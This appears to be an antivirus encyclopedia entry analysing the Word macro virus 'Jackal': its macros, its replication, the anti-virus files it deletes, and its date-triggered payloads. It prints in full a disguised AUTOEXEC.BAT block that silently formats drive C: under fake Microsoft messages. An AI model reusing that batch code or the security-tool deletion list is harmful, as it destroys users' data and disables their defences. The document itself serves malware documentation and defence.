Virus.MSWord.Jackal

Class Virus
Platform MSWord
Description

Technical Details


This virus contains one module “Jackal” which contains fourteen
macros: AutoOpen, FileSaveAs, KillAV, Format, ToolsMacro, ViewVBCode,
FileTemplates, Organizer, EditFind, HelpAbout, ToolsCustomize,
ToolsOptions, Jackal, Ultras.


The virus replicates itself on opening files or saving with new name. It
erases the files belonging to popular anti-virus applications:


C:Program FilesAntiViral Toolkit ProAvp32.exe
C:Program FilesAntiViral Toolkit Pro*.avc
C:Program FilesCommand SoftwareF-PROT95*.dll
C:Program FilesCommand SoftwareF-PROT95*.exe
C:Program FilesMcAfeeVirusScan95Scan.dat
C:Program FilesMcAfeeVirusScanScan.dat
C:Program FilesNorton AntiVirusViruscan.dat
C:Program FilesSymantecSymevnt.386
C:Program FilesFindVirusFindviru.drv
C:Program FilesCheyenneAntiVirus*.dll
C:Program FilesCheyenneCommonCshell.dll
C:PC-Cillin 95Lpt$vpn.*
C:PC-Cillin 95Scan32.dll
C:PC-Cillin 97Lpt$vpn.*
C:PC-Cillin 97Scan32.dll
C:eSafeProtect*.dll
C:f-macrof-macro.exe
C:TBAVW95Tbscan.sig
C:Tbavw95Tb*.*
C:VS95*.dll

On the 1st of any month it sets the password “JACKAL” in documents. On the 27th of any month it sets the password “ULTRAS”. On 5, 9, 17, 25 days and during May it displays the Balloon:

Microsoft Office 97
Error, is necessary will update files

Then it appends to the C:AUTOEXEC.BAT file the commands that format the
disk:

@ECHO OFF
CLS
ECHO Microsoft Corp. 1983-1997 All rights reserved
ECHO Goes preparation to renovation of your system files
ECHO Please wait this can occupy several minutes
FORMAT C: /U /C /S /AUTOTEST > NUL
ECHO.
ECHO.
ECHO.
ECHO Error at renovations of files

On 15th and 30th of any month it deletes the files:

C:*.*
C:Windows*.*
C:WindowsSystem*.*